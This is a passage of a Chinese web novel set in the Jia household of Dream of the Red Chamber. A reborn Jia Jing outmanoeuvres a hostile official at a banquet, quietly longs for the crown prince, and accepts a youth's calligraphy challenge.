贾敬的那帮同年们,多是意气风发的年纪,又都是饱读诗书的文人学子,从小对先辈的节义事迹耳濡目染,哪里能抵挡的了这样的诱惑? 这些清流学子们平日里自诩正气节义,贾敬这样出身的公子哥,锦衣玉食,锦绣堆里长大,自然觉得不是一路人,可今日,他们恍然,他们都走了眼。 李玉衡眼中是藏不住的嫉妒,怎么可以…… 宋子虚和薛琼眼中露出了敬佩之色。 就连何清身后一直沉默的何长明,看向贾敬的目光里也是一片复杂。 萧淮川的目光落在贾敬身上更是没有挪开半分。 而贾代善和贾敷也没想到贾敬会这么说,眼中是遮掩不住的惊喜和自豪;方才打架都没掉一滴泪的贾赦,此时因为兄长的维护和肯定红了眼眶,贾政望着贾敬的眼睛,亮晶晶,一眨不眨。 “你……”何清抬手指向贾敬,竟然微微发了颤。 他也没有想到,贾敬居然会这样说,直接将态势逆转。 此子狂妄,也心机颇深! 贾敬清冷的声音再次响起:“更何况,当今圣上已然降下圣旨,明明白白地昭示了一切。 而何长荣说的每句话,都犯了骂詈之罪,字字都是在蔑视圣上!无一不是对天威的挑衅,字字句句皆犯下了大不敬之罪!” “身为臣子,沐浴皇恩,我又岂能容他!” “何大人教子无方,又是该当何罪!” 这话仿佛是伴随着雷霆万钧一起锤下,砸地何清头昏眼花,这是何等的重罪! 完咯! “砰!” “长荣!”何清目眦欲裂,看向地上泛着白眼瘫软在地的小儿子,他踉跄着走近,扑面而来的骚味。 贾赦捏住鼻子,一脸鄙夷,“怂货!居然还尿了!” 【作者有话要说】 注:1.“木秀于林风必摧之”出自于李康《运命论》 2.圣旨内容是参照各朝圣旨瞎编的。【你现在阅读的是魔蝎小说 moxiexs】 第30章【VIP】 第30章 贾赦此话一出, 所有人的目光都落在了何长荣的某个地方,之间他倒下的那片地,已然湿了。 “哈哈哈哈……” “这么大人了, 居然吓尿了!” 众人哄堂大笑。 贾代善也是一脸嫌弃地望着地上翻白眼的何长荣,就差把“丢人现眼”四个字写在脸上了。 若是他有这样不争气的子孙,根本不需要别人来教训, 他会亲自出手, 狠狠地教训一番。 想到这里, 贾代善看向贾赦的眼神变得温和了一些。尽管贾赦平日里有些调皮捣蛋, 但遇到大事时,还是有胆量的,也知道护着兄长。 只是, 打人还让自己鼻青脸肿, 着实觉得丢人,明日开始,他一定要好好操练操练这个崽子! 贾赦只觉得背后一凉,忍不住一哆嗦, 双手搓着手臂。 何清铁青着脸,也顾不得周围人的嘲笑, 指使着小厮将何长荣扶起。 洇湿的袍角还滴着水, 新鲜出炉的尿骚味熏的小厮们也不禁屏住了呼吸, 要不是碍于何清的威严, 可能早就嫌弃得要命。 “长荣、长荣!” 就在何清不断呼喊着何长荣时, 已经有府医前来, 动作利索的为何长荣检查, 先是掀了掀眼皮, 紧接着把脉。 府医是贾敷先前就安排好的, 生怕宴席上出什么岔子,毕竟今日来参加宴席的皆是有头有脸的人物。 却没想到,还真出了状况。 “大夫,怎么样?” 何长明略带焦急的询问大夫,一副关心弟弟的模样。 贾敬的目光落在何长明身上,就这么静静看着。 何清同样紧张,看向大夫的目光已经染上了阴郁。若是他的儿子真的有什么三长两短,他不会放过贾敬,也不会放过贾家! 大夫丝毫不受何清目光的影响,利落的收回手,语气平缓冷静,“没事,只是惊吓过度,晕了过去,喝两副安神汤便好。” 至于身上的伤,不是他此次医治的范围。大夫神情淡然,但方才这里的闹剧,他是尽收眼底。 众人一听,还真没什么大事,真是吓晕的,还吓尿了,瞬间又憋不住笑了。 “噗嗤”一声,不知谁带的头,众人又笑做了一团。 “出息。”贾赦面带嘲笑,轻嗤一句,却惹来何清一记冷眼,浸淫官场多年的威严让贾赦缩了缩脖子,扭头避开了何清的视线。 “你们贾家今日到底想要如何!”何清目光如冰刀一般射向贾敬,“贾二爷到底想怎么样!” 今日的事情,简直是他何清之耻!他不会善罢甘休的! “那是他自己胆小如鼠,关我们什么事?他……”贾赦还想说什么,可被一人轻轻拦住。 贾赦抬头见是贾敬,立刻闭了嘴,现在贾敬在贾赦心中的形象,那可是比他爹贾代善高多了。 “何大人这话,培元不解。这事可不是培元能做的了主。” 贾敬一改先前的锋利,此时倒是跟何清打起了机锋,软绵似针,让何清已经压不住心中的烦躁,他打断贾敬的话,毫不客气道: “今日的事情,我们认了,既然贾二爷说长荣犯了骂詈之罪,我们就按照骂詈罪论处。” 何清咬了咬牙,目光扫视一片,“按照大乾律例,当面辱骂朝廷官员,所范骂詈罪,当杖责三十。” “贾二爷可还满意?”何清一字一顿说完。 贾敬听着何清的话,面上噙着笑,心里暗道:何清还真是狠,对自己亲儿子都能这么狠。 杖责三十,若是都打实了,能将人打的皮开肉绽,绝对算是酷刑,臀部以下不养个几个月,怕是好不了。 贾敬清楚何清在打什么算盘,何清是出狠招给自己下套。 自己若是欣然答应,何长荣便要被杖责三十,看似何清吃了亏,可到底下了狠手,他方才树立的形象便会有所折损。 倘若自己为了名声不答应,何清就会顺势借坡下驴,给何长荣找个轻的罪行,此事就算揭过去了,若是贾敬不甘心,事后再提,变成了没理的一方。 无论贾敬选哪个,都讨不得好,都是坑。 既然如此,他一个都不跳。 贾敬唇角微勾,缓缓道:“方才培元已经表明,此事培元做不得主,培元并不在乎令郎说了什么。” 他说着,慢慢地举起了自己那双被包裹着的手,亮于众人面前。 那双手即便被层层白布紧紧缠绕着,只露出指尖部分,也难掩修长有型,就是这双手写出的书法,让贾培元一举闻名京城。 可眼下看着这双手,显得十分脆弱,也让在场众人心中不禁惋惜: 若是真的损伤了手,写不了那样的书法,当真是可惜。 “培元这双手是伤了,如今也未好全,能不能恢复如初还是个未知。” 贾敬接着说,语气平淡,仿佛说的不是他自己的伤势,将要不能恢复的手也不是自己的手一样。 可就是这样的平静,让萧淮川的凤眸里闪过一丝痛色,他轻敛眼眸,怕贾敬看出什么。 贾敬忽然笑了一声,还轻轻晃了晃手,“你们觉得我会悲痛沮丧?” “不,我不会。” “即便这双手就此废了,培元亦不会后悔,这是为了剿匪所伤,值得!” 青年人清亮的嗓音在院内回荡,带着一种令人无法忽视的力量。 萧淮川也早在贾敬开口时便已经抬起了头,目光怔怔地望着面前的青年,这样自信张狂义无反顾的模样,真是吸引人。 这就是贾敬,贾培元,宁国公府的二公子,张扬,自信。 也是长大了的贾培元,他自己一人便可阻挡风雨。 贾敬的目光落在何清身上,接着道:“何长荣说我今后会是个废人。” 他说着顿了顿,“不,我不觉得。” “即便这双手不能恢复,我亦可以用其他方式报效圣上,不负圣上所望。” 贾敬的这番话,和他的人一般,宛如一柄青竹,牢牢扎根在了许多人的心里。 他目光扫过前方难掩激动的学子们,朗声道: “诸位同年,培元相信,你们与培元的心,是一样的!” “培元兄说得对!我们定会好好报效圣上!” “不负圣上所托!” 何清看着贾敬的这一操作,让原本不认可他,准备看他笑话的同年们,瞬间拉拢过来,惊的眼珠子都要瞪了出来! 此子调动人心的能力近乎妖! 可还未等何清说话,贾敬转眸就看向何清, “何大人,我不在意何长荣的话,也并不想理会,可他今日诋毁侮辱的,是我贾家的列祖列宗,培元不能也不敢代祖宗原谅。” “至于大不敬之罪,那便要看圣上的意思,培元不敢妄言。” 何清眼睛死死地盯着贾敬,仿佛要把他盯穿一样。 “这等小事,你还想闹到圣上面前不成?” “闹?”贾敬脸上露出不解之色,“事关陛下天威,怎么能叫闹呢?” “况且,何大人以为,今日之事,你不说我不说,便能瞒过圣上吗?” 贾敬稍稍挑眉,目光瞥了眼身旁一直沉默不语的萧淮川。 其实也不过是做给何清看罢了。今日宁国公府发生的事情,萧淮川不会去天丰帝面前多嘴,而天丰帝想要知道今日的事情,也不需要通过萧淮川。 萧淮川的视线一直都在贾敬身上,见贾敬瞥来,也清楚他的心思,嘴角勾起一抹浅笑。 贾敬则是回了一个幅度更大的笑。 他笑的出来,何清却笑不出来,脸色都已经开始发白,他显然也想到了这点,今日的事情瞒不过天丰帝了。 什么挑衅圣上的天威,这就是贾敬的诡辩,何清自然清楚,他相信天丰帝也清楚,可是,问题就在于,天丰帝到底愿不愿意清楚呢? 亦或者说,他和贾敬对上,天丰帝愿意站在谁的一边。若是之前,何清可以自信的说,天丰帝看在新党,以及自己吏部尚书正二品朝廷命官的面上,定会选择自己。 可今日,天丰帝给贾敬的那道圣旨,何清不敢赌。 可不敢赌又怎么样? 贾敬将他抬上来,就没打算让他溜了。 他微微颔首,“何大人,这事情已经由不得你我之间做决断了。” 贾敬朝那边半死不活被小厮扶着的何长荣掠了一眼,看似善解人意道: “您还是先带着令郎回去换身衣服吧,这湿衣服遇见风一吹,可别冻着了。” “味儿还挺重的,咱们这席面马上可要开席了。” 这话直接就是嫌何长荣臭,撵客了。 “快快快,别待在这儿了,回去好好照顾你的好儿子吧,好日子可不多了,先养养,不然后面可遭罪了!” 治国公马魁阴阳怪气,话里话外都是在说,就算到了圣上那里,何清这个儿子,都难逃一罚。 何清望着面前一堆狂妄的国公勋贵们,脸上涨红,心中难掩羞愤,也在暗暗记恨,袖子一甩, “今日是何某人来错了地方,希望来日……” 话未说完,他便转身离去。 “培元兄,今日多有得罪了。” 何长明朝贾敬深深一拜,声音带着愧疚。 贾敬笑了笑,好似不在意的摆摆手,“无事。” 何长明听了这话,脸上浮上一抹笑意,好似真的信了贾敬都话,追上何清走了。 “此人,不可深交。” 萧淮川低沉磁性的声音在贾敬耳边响起,贾敬转头,肩膀与萧淮川的上臂轻轻擦过,点头应道: “我晓得。” 看来萧淮川也看出何长明的不对劲了,其实很明显,何长明对何长荣的关心态度都太过浮于表面了,近乎于假。 也不知道他是无意,还是故意了。 “你今日……”萧淮川开口想要说什么,却说了三个字就停了下来。 “我今日如何?”贾敬偏了偏脑袋,有些疑惑萧淮川的话。 见萧淮川不说话,贾敬挑了挑眉,“觉得我今日太过张扬狂妄?” 该说不说,放出那么一番话的贾敬,如今只觉得心中畅快。上辈子以及重生以来积攒的郁闷、愤懑都随着他那番话一吐而空。 他贾培元活了两辈子,憋屈苦闷地活着。 上辈子兄长惨死,宁国府败落,萧淮川宫变含冤而死。他曾想尽办法拯救挽回,但最终还是无力回天,绝望麻木到吞丹自尽。 万幸,他能重生归来,这一次他自然不会再让悲剧重演。 贾敬的目光变得幽深,望着不远处的贾敷,他深吸一口气,又缓缓呼出,仿佛将心中的浊气怨气都吐了出来。 兄长还活着,上辈子到死都未踏入的朝堂仕途也已然在他脚下。 今日处理何清这件事,更是让贾敬信心倍增,他有能与之匹敌的能力,可以护好他想要护的人。 即便前路荆棘,他也不会退缩,也不能退。 他想护的人,就在他的身边,身后便是万丈深渊,他无路可退。 贾敬看向萧淮川,目光定定望着,这就是他要护的人,两世藏于心头的人。 萧淮川伸手摸了摸贾敬的脑袋,“觉得阿元,非常厉害。” “小的也觉得二爷厉害。”忍冬在一旁也忍不住说道,“二爷今日定是能迷倒一堆小姐们。” 他方才已经注意到,隔壁花厅的女眷们可是朝这边看了好几回,就连中间相隔的抄手游廊都有人走了数回了。 萧淮川的手微不可查地一顿,缓缓收回。 贾敬则是一愣,“啊?” 忍冬见状却是来了劲,跟倒豆子一样,说了贾敬不知道的事情。 “二爷,您那圣旨,可是咱们太子爷听说您要相看,怕有人说您闲话,特地求来的,就怕您被人低看了去。” 贾敬眨了眨眼睛,脑子有些懵,他愣怔地看着萧淮川,嘴张了又张,最终颤着声音, “你求这道圣旨,是为了能让我相看时,不被人家姑娘低看了去?” 其实,他想问的,并不是这句。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 贾敬想问萧淮川什么? 他有太多想问的, 那些问题那些话迅速涌上,一个个挤着要蹦出去,可真的要说出口时, 又全部堵在了嗓子眼,哽在喉中,什么也说不出。 他能说什么? 他心底那份大逆不道到不能宣之于口的心意, 怎么可能让萧淮川知道, 也一定不能让萧淮川知道。 这隐秘的心思更不能让外人知晓。 世人眼里, 他及冠已过, 功名已得,也只差洞房花烛了,萧淮川为他这般考虑, 也是正常。 时间太久, 是他忘了。 萧淮川如今虽未成亲,可他有一门大家都心照不宣的未婚妻,只待天丰帝下旨。 上辈子没成,可这辈子……贾敬知道, 即便不是萧淮川的那位表妹,也会是别人。 他早该想清楚这一切的, 不是吗? 贾敬努力平复心中酸涩难忍的感觉, 剧烈的情绪起伏, 他掩饰不了颤颤的眼睫, 眼尾下垂, 眼眸里透露着戚戚之色。 他的不寻常让萧淮川一愣, 萧淮川是清楚贾敬想要什么, 也清楚天丰帝的犹豫不定和拖延, 才出手帮贾敬拿到了这样一份圣旨。 可是为什么阿元看起来并不开心?反而…… “阿元, 你不喜欢?你怎么……” “我没事。” 萧淮川话未说完,贾敬便摇头打断,示意自己没事。 无论萧淮川是因为什么理由,他的所作所为都帮助到了贾敬,他该感激的。 贾敬应该再说一句,感谢云云,可到底太过客气,忍冬方才说的缘由,也在戳他自己的心窝,他说不出,也不想说。 一时间,清醒的思绪和内心压抑的情绪如飓风一般,碰撞后交织卷在一起,复杂融合又互相拉扯,他尽可能的想要将两者拉扯开,可无能为力。 失态的瞬间,贾敬迅速地将头转到了一边,想要躲开萧淮川的视线。 贾敬眼睑半耸拉着,并没有抬眼去看萧淮川,努力扯了扯嘴角,向上牵起,“圣上亲赐的圣旨,授了官,获了功劳,这样的殊荣,我怎么可能不欣喜?” 贾敬这番话一出,萧淮川并未放下心来,反而眉头蹙了起来。 贾敬强装出的笑意在萧淮川眼里,充满着苦涩,强颜欢笑,莫过如是。 这样的情绪和委屈不应该出现在阿元的脸上。 他该是方才在众人面前那样,张扬肆意,光彩夺目。 贾敬的变化是因为刚刚忍冬的话? 萧淮川的目光落在忍冬身上,忍冬早已经意识到自己说错了话,哭丧着脸,就差给贾敬跪了。 “二爷……” 忍冬的话刚开口,被萧淮川凤眼一扫,只是轻飘飘的一眼,忍冬瞬间闭了嘴,弯着腰退下了。 贾敬此时也终于将外泄的情绪再次压了回去,见萧淮川这样,贾敬想起上辈子宫变,他亲眼目睹萧淮川身死,忍冬并不在现场,事后暗卫将他带离东宫,他问询过忍冬下落,得知忍冬已经殉主。 对于这位从小跟在萧淮川身边服侍、忠心的小太监,贾敬抿了抿,还是说道: “这事与他无关,你何必吓他。” 萧淮川认真的望着贾敬,郑重的一字一顿道:“阿元,这道圣旨,是你应得的,无关其他。” 忍冬说的那句,若要算,也只是萧淮川去请这份圣旨里最无关紧要的一个理由。 该是属于阿元的荣耀,一份都不能少,这是阿元应得的,谁都不能抹去。 至于他人,若是因为外界这些虚物而看轻了阿元,那这样的人,也不配上阿元。 萧淮川话中的意思,贾敬当然听得出来,也明白萧淮川说出的是真话,可终究心里芥蒂忍冬说的那番话,看似玩笑实则试探开口道: “忍冬说的也没有错,世人鲜少有不看外表的,淮哥这份如及时雨一般的圣旨……” 贾敬说着,头微微转向,看向不远处抄手游廊里游戏说话的年轻小姐们, “倒是真的可以不让那些想要相看的闺秀们轻看了我。” 萧淮川深邃如潭的眼眸定定望着贾敬,微微抿了抿唇, “不,阿元的才华与能力,不需要依靠那些所谓的虚名浮利来彰显。” “若是只看重这些虚物,这样的相看何必继续?” 贾敬因萧淮川的话心中一暖,接着摇了摇头, “话不可能这么说,俗话说,知人知面不知心,内里隔着肚皮终究是看不见的,那么外表自然重要。” “其他人可不如淮哥这样了解我。” 贾敬叹了口气,“道理我都懂,可是,依旧觉得这样无趣,相看也是兄嫂的意思,我倒觉得,一个人挺好。” 他看似感慨的话,才是他真正想说的话。这是贾敬对萧淮川的表态,即便萧淮川不会知道。 萧淮川一怔,他没想到贾敬会这么说。 原来阿元也不想相看吗? 也? 萧淮川心中有些莫名,不知道自己为何会用这个字。 思绪一闪而过,萧淮川想着贾敬的年岁,在京里这帮公子少爷里面,还未成婚的,已经是凤毛麟角了。 “胡闹。”萧淮川再次想要伸手揉揉贾敬的脑袋,却在将手伸出一半时顿住。 面前的阿元,已经是个即将要成婚的大人,不是孩子了。 萧淮川改拍了拍贾敬的肩膀, “说什么小孩子顽话,成家立业,人之常情,是为人伦。” 贾敬听到这话,轻垂了眼睑。 果然,萧淮川也是这样想的。 是啊,这才是正常人的想法。 不成婚已然在众人心里是个罔顾人伦的想法,若是别人知晓他钟意之人是萧淮川,是当今太子,后果不堪设想。 自古有断袖分桃,龙阳之好的典故,大乾朝民风尚松,民间也盛行男风,可大多数是摆在暗处,明面上,没人去戳破。 大乾朝更是没有好男风的帝王,贾敬也不曾奢望什么,他也不能。 他想萧淮川活着,不是苟延残喘,不是万人唾骂,而是众人敬仰的坐上他应有的位置。 多少人在暗处对萧淮川以及储君的位置虎视眈眈,贾敬又怎么能成为萧淮川的污点和弱点呢? 他要成为萧淮川的助力,是萧淮川可以捅向外界的刀,斩断萧淮川面前的所有荆棘。 贾敬压下心中苦涩,故作轻松的和萧淮川说:“这事情强求不得,也得看个缘分不是?” 第32章 “也是, 此事是需要些缘分的。” 萧淮川鬼使神差的顺着贾敬的话点了头。其实,像他们所处的位置,婚姻大事哪里讲什么缘分? 左不过是父母之命, 媒妁之言,讲究门当户对,家族利益。像宁国府这样的, 多是和四王八公各侯府联姻的。 就连萧淮川自己, 他身为储君, 却是成年皇子里唯一一个至今没有定下婚约的人。 为何? 因为他的婚事也由不得他自己做主, 太子妃的位置重中之重,一切要听由天丰帝的安排。 这样的事情,这样的安排, 萧淮川也早已经习惯。他轻垂眉眼, 遮掩住眸中情绪。 萧淮川清楚,贾敬一样也清楚,两人间一时间沉默无话,气氛也沉了下来。 待抛开脑中的繁乱思绪后, 萧淮川伸手从怀里掏出一个物件,顿了顿, 随后毫不犹豫地递给了贾敬。 贾敬看着萧淮川的动作, 定睛瞧了瞧他掌心里的物件, 是一枚品质极好的羊脂白玉牌, 上刻“阿元”二字, 无论是雕工还是玉质, 皆是难得一见的珍品。 贾敬微微挑了挑眉, 目光从玉牌移到萧淮川身上, 没有去接过那玉牌, 他那手也接不了,他问萧淮川, “淮哥进府时就已经让人上了礼,又为我请了圣旨,如今又送这么稀罕的物件给我?” “赔罪。”萧淮川言简意赅。 贾敬愣了愣,赔罪?赔什么罪? 萧淮川手指轻轻滑过玉牌上“阿元”二字,眼含温柔,他轻声解释道:“先前答应了你,在你养伤期间会来探望,可我却食言,这些时日都未曾来。” “这块玉牌算作赔礼,以表达我的歉意。” 他说着抬眸看向贾敬,弯了弯眉眼,“阿元可原谅我?” 贾敬不禁失笑,原来是因为这事。 萧淮川这些时日没来,他确实有些失落,却没放在心上。萧淮川作为储君,事情本就繁多冗杂。 可萧淮川这样郑重的道歉和赔罪,确实让贾敬心中雀跃。 贾敬努力压了压想要上扬的嘴角,目光流转在那玉牌上,忽然冒出一个想法,“我手伤不便,淮哥帮我戴吧?” 话脱口而出,说完贾敬便有些后悔,刚准备说几句话找补一下,却见: 萧淮川没说话,而是直接将白玉挂牌的绳子解了,半步上前,伸手绕道贾敬的脖颈后,亲自把白玉牌挂在了他的脖子上。 贾敬的瞳孔微微收缩,那双桃花眼紧紧地盯着萧淮川近在咫尺的喉结,他连呼吸都轻了几分,生怕惊扰了什么。 此刻,他们两人之间的距离挨的极近。贾敬能够感受到,萧淮川身上传来的温热气息,是他熟悉的松香味。 这个味道对贾敬有着致命的吸引,令他心猿意马,紧张地咽了咽干涩的喉咙。 萧淮川脖子上仿佛跟糊了一层蜂蜜,黏住了贾敬的目光。就在这时,萧淮川的喉结轻微的滚动了几下。 那是自然的吞咽,可贾敬的视线不由自主地被吸引过去。 好似只要他将头再稍稍往前伸一下,便能一口将那凸起的喉结叼住。 这个念头一经冒出来,贾敬本就不平静的心宛如擂鼓一般,“咚咚咚”地剧烈跳动,仿佛要从嗓子眼儿里蹦出来。 他脸庞控制不住地升起一层热意,随后全身都感觉到燥热,贾敬的眼眸晃了晃神。 萧淮川已经帮贾敬系好了玉牌,松开了手,退后一步,与贾敬拉开了距离。 熟悉的松香味远离,贾敬一滞,心下一空,他有些失望,但更多的是庆幸。 方才险些在萧淮川面前失了态。 贾敬略带迷离的眼睛逐渐回神,脸上的燥意非但没有消除,反而更甚。 这是羞的。 他刚刚居然盯着萧淮川,产生了那样羞人的妄想和悸动。 呸!下流! 贾敬的头不免又低了低,恨不得把头埋进脖子里。 萧淮川见状,眼中闪过一丝诧异和不解。 阿元低着头是在看玉牌吗? 可望着贾敬因低头而显露的脖颈,原本白皙的肌肤上薄红一片,一路红到了耳根。 萧淮川的眉轻轻蹙起,担忧问道: “阿元,你怎么了?是身体不舒服吗?” 贾敬闻言吓了一跳,连忙抬起头来,结结巴巴地回答:“没……没事,我只是有点累了而已。” 他根本不知道,自己现在的这一副模样,是多么不让人信服。 贾敬白皙的脸颊泛起了酡红,像是雪山上映照的霞光,微敛的眼眸含着水润,眼尾微微泛红,桃花眼含苞待放,好似泛着春意,色若春花。 萧淮川不禁闪了眼,心中涌起一丝怪异之感。 怎么感觉阿元这副模样…… 心思刚一冒出来,萧淮川下意识咬了一下舌头,刺痛将呼之欲出的想法堵了回去。 他不愿去想,而是直接伸出手,放在了贾敬的额头上,感受着手下的温度,入手一片炙热。 萧淮川的眉头拧的更深,想起贾敬伤势还未好的手,今日又在这院子里吹了这么久的风,生怕他发烧。 “阿元,你的脸很烫,身体是哪里不舒服?” 贾敬被萧淮川的动作弄得有些局促,触碰在他额上的手,清凉,却让贾敬的脸更加红了。 他连忙挪开萧淮川的手,连忙呼出几口气,“真的没事,可能是太阳晒的。” “淮哥送的这玉牌,我很喜欢,字也好,我瞧着字迹……是淮哥的字?” 贾敬转移话题。 萧淮川的目光凝视着贾敬,见他确实没有什么难受的迹象,才缓缓松了眉,轻哼了一声。 “嗯,是我写的。” 贾敬弯着眼,“写的真好。” 他此时是认真看着坠在他胸前的那枚玉牌,看着上面的字。 俗话说,字如其人。萧淮川的字和他的外表却有些不搭。 萧淮川平时给人的感觉总是温和仁厚,言行举止间流露出一种从容不迫的气息。但他的字,铁画银钩,苍劲有力,笔锋很是凌厉,却不失流畅。 可贾敬知道,这才是真正的萧淮川。他隐藏起来,不为人所知的另一面。 萧淮川勾唇,却没说话。他的字若说起来,也就一般,看着唬人,若说结构章法和风格气韵,阿元的字要好上许多。 想到这里,萧淮川的目光又落在了贾敬的手上。太医每天会诊玩都会向他禀告,也知道贾敬的手恢复的很好,甚至超出了预期。 可萧淮川还是担忧,他希望的,是贾敬的手恢复如初,不仅仅是活动自如,连一道疤痕,萧淮川都不愿贾敬留。 贾敬若有所感,顺着萧淮川目光看去,晃了晃手,“太医说,恢复的很好,淮哥放心便是。” 况且他自己的手,他心里有数,已经没什么大碍了。 萧淮川和贾敬站在一起,识趣的人都避开这里,即便他们也好奇,有意无意也朝这边瞧着,到底是为他们空出了一块儿,说话无人打扰。 可忽然插进来一道尖叫声: “敬二哥哥!十万火急!” 贾敬和萧淮川闻声看去,见是脸上处理完伤口,包的都快认不出脸来的贾赦。 他跟只火烧屁股的猴儿似的,朝贾敬这边冲来,萧淮川闪身挡了挡,生怕他刹不住,将贾敬撞到。 “赦哥儿,发生了什么事?” “政、政哥儿在那边被人拦了,听说政哥儿的书法是敬二哥哥指导过,那人说要跟政哥儿比试!” 贾敬一听,便知道是冲自己来的,“那人是谁?” 【作者有话要说】 啧啧啧,馋人家身子啊。 第33章 “他说他叫皇甫玦。” 贾赦立刻将人名号报上, 至于这人是什么来头,就连他这个京城小霸王也没听说过。 贾敬和萧淮川对视一眼,皇甫?这姓还真是少。 京城叫得上名号的, 有叫皇甫的吗? 贾敬迈步跟着贾赦朝前方众人聚集的地方走去,边走边问,“可知道他是和谁一起来的?” 贾赦挠了挠脑袋, 努力回忆, “好像是跟着一位叫程一序的学子来赴宴的。” 程一序此人, 贾敬有印象, 已是今科进士,祖籍赣省,是南方的学子, 印象里, 他们二人并没有冲突。 “那个皇甫玦估摸着也就跟政哥儿差不多大。” 贾赦又补充一句,贾敬微微点头。 十四岁,那还是个孩子,想来应该是程一序家中亲戚家的弟弟。 那里围了一群人, 贾敬还未走近,便已经对这群人的身份大致有了数, 皆是他的同年们。 贾敬顿住脚步, 看向萧淮川, 轻声提醒道:“淮哥应该还有其他事儿吧?” 今日萧淮川能来, 贾敬就已经很满足了, 不求其他。 况且, 哥哥嫂子说了要给他安排相看, 必然不会善罢甘休。贾敬已经能预料到待会儿要发生什么了, 这一切, 他并不想给萧淮川看见。 萧淮川一听便听出了贾敬的意思,接下来的场合他确实不便再参与了,点了点头,“嗯,先走一步。” 倒不是借口,他近日确实忙,手上的事情很棘手,若不是今日来见阿元,可能还是脱不开身。 贾敬目送萧淮川走后,转身朝那一堆人看去,不禁挑了挑眉。 没想到,先前对他一再挑衅的李玉衡也在,贾敬还以为,此人早在何清走时,已经离去了,没想到,居然还在,到底是低估了他的脸皮。 而那人群里,有人在不停朝外观望,当看见贾敬时,一脸惊喜,正是宋子虚。 只见宋子虚赶忙走到贾敬面前,也不顾贾敬身边跟着萧淮川,小声道: “培元兄,你可算来了。” 他连忙将他知道的事情说与贾敬听,里面有一位名叫皇甫玦的少年,是他们同年程一序外家的表弟,将将十四岁。 而程一序的本家是赣省庐山程家,当地有名的书香门第,他本人此次科考,也是金榜第五名,是为传胪。 程一序那位表弟听闻贾政的字是贾敬所教,便一直缠着贾敬要比试一番。 听宋子虚这样说,贾敬觉得,这位皇甫少年倒是没有那么多恶意,好似真的只是想要和贾政比试。 贾敬心中有数后,朝宋子虚感激一笑,“多谢子虚兄了。” 宋子虚连忙摆手,引着贾敬进去。 贾敬很快就走到了最里面,只见里面竟然已经支起了桌案,案头两位少年隔着桌案,正大眼瞪小眼,互不相让。 只见其中一位身着绯色锦袍的少年,年约十四,身量较小,但胜在身形修长,气度不凡。 其面容隽秀,五官精致,甚至有一丝雌雄莫辨,连眉眼神色中显示出桀骜,都不怎么会让人厌恶。 只见皇甫玦昂首朝对面的贾敬道: “我在赣省便久闻京城贾培元的大名,其字一绝,本以为此次进京可以得见,可惜他受了伤。” “你的书法既然是那贾培元指导,为何不敢与我切磋比试?” 贾政紧绷着脸,眉宇间透露出的沉稳,与那皇甫少年都不似同年人。 “这位皇甫兄,来者是客,你若只是想要和我交流切磋,存周自当奉陪。” 贾政说着一顿,话锋一转,“可皇甫兄方才说的是什么话?” 人群中走来的贾敬恰好听见这句,也好奇,这位来“下战贴”的皇甫玦,说了什么。 “贾培元来了!” 不知是谁喊了一声,众人皆朝贾敬所在的位置看来,贾政和那位皇甫少年同样看了过来。 见贾敬到来,贾政明显松了口气,面色稍缓,刚才紧绷着的脸也好似是他紧张的伪装。 皇甫玦则是睁大着眼睛盯着贾敬看,眼里满是好奇。贾敬见状,朝皇甫玦浅浅一笑, “皇甫少爷刚刚说了什么?我刚不在场,不清楚。” 皇甫玦愣怔地望着面前的人,他其实也没说什么,只是为了激贾政和他比试,故意挑衅,讽刺贾敬是不是徒有虚名,借受伤之故不敢应战。 贾政亦不同意,是否是心虚? 方才贾敬对峙何清时,他贪玩去了别处,回来只是听他人说了一切,这更加让他兴致勃勃。 可现在,真当贾敬出现在他面前时,皇甫玦心中忽然涌起一抹悔意。 长得这么好看的人,怎么可能是草包! “我……”皇甫玦张了张嘴,吞吞吐吐,支支吾吾了半天也没说出个完整话来,脸倒是渐渐红了。 贾敬眯起了眼睛,觉得这位皇甫少年好生奇怪。 皇甫玦面对贾敬的视线,更显慌乱,眼睛飞速眨着,面上露出羞赧的神情,下意识朝身后看去,带着些无错,有求助的意味。 而他身后侧方,站着一位冷峻青年,贾敬认得,正是程一序。 这是捅了什么篓子,寻找表哥解决? 程一序就跟没看见皇甫玦的眼神一般,见贾敬看过来,微微颔首,也算是打招呼了,至于皇甫玦,他并未有介绍的打算。 皇甫玦见状,咬了咬牙,硬是将自己的头转了回来,气鼓鼓的。 贾敬将这些都看在了眼里,觉得这二人之间气氛,很微妙。 还未等贾敬细想,就见皇甫玦忽然朝贾敬一个躬身,声音颤抖却响亮,“对不起!” 贾敬眨了眨眼,有些懵。 贾政也诧异地望向皇甫玦,刚才在他面前还一副张牙舞爪的模样,怎么到了他敬二哥哥面前,就变脸了? 心中陡然升起一丝警惕。 贾敬的余光瞥见皇甫玦身后的程一序,只见他面色比先前好了许多,嘴角扬了一下又瞬间拉直,心中有了一丝猜测。贾敬又微微侧头,看向贾政,用眼神询问: 到底发生了什么事? 贾政见贾敬看过来,面色僵了僵,抿了抿唇,声音不大,唤了一声:“敬二哥哥。” 紧接着贾政用简洁的话讲事情的前因后果都说了一遍。 贾敬微微点头,也将事情都弄明白了。皇甫玦说的那些话,其实也没什么,比在场某些人的狗吠好多了。 他的目光落在他面前那位头低的看不见脸的少年,不禁笑出了声。 “你还想比试吗?” 皇甫玦羞赧地低着头,听到贾敬的问话,他一时没有反应过来。 贾敬又问了一遍,“皇甫小兄弟还想和政哥儿比试吗?” 他已经换了对皇甫玦的称呼,显得更加亲近些,也向大伙儿说明,皇甫玦说的话,他没放在心上。 “我?”皇甫玦猛地抬起头,愣愣地望着贾敬。 他怀疑自己听错了,他这样没有礼貌的挑衅、冒犯,贾敬不仅没有责怪,反而同意了比试? “可、可以吗?”皇甫玦结巴问道,神色和语气都带着不确定。 贾敬没有直接点头,而且看向贾政,“政哥儿,我的手不便,你愿意和皇甫公子比试一番吗?” “我愿意!”贾政的神情有些激动。 这位看起来和他一般大的少年,在开口时,就已经挑起了贾政的战意,但为了不损了贾家和敬二哥哥的颜面,才一直没有松口。 贾敬勾了勾唇,“刚巧今日我们缺点游戏,显得有些乏味,不若就着这大好春光,大家结社,诗词书画,比试一番如何?” 此话一出,众人纷纷点头。 贾敷不知道何时来的,听到这里,开口:“虽说是游戏,但没有彩头也没意思,我来填几个彩头吧!” 他拍了拍手,便有几位小丫头端了几个托盘上来。 众人一瞧,好家伙,不愧是开国国公府,这底蕴,这财大气粗的架势,真不是他们一般人能比的。 “那方砚台是什么?” “这……这是海水龙纹砚台!” “那墨是龙纹盘云墨!” 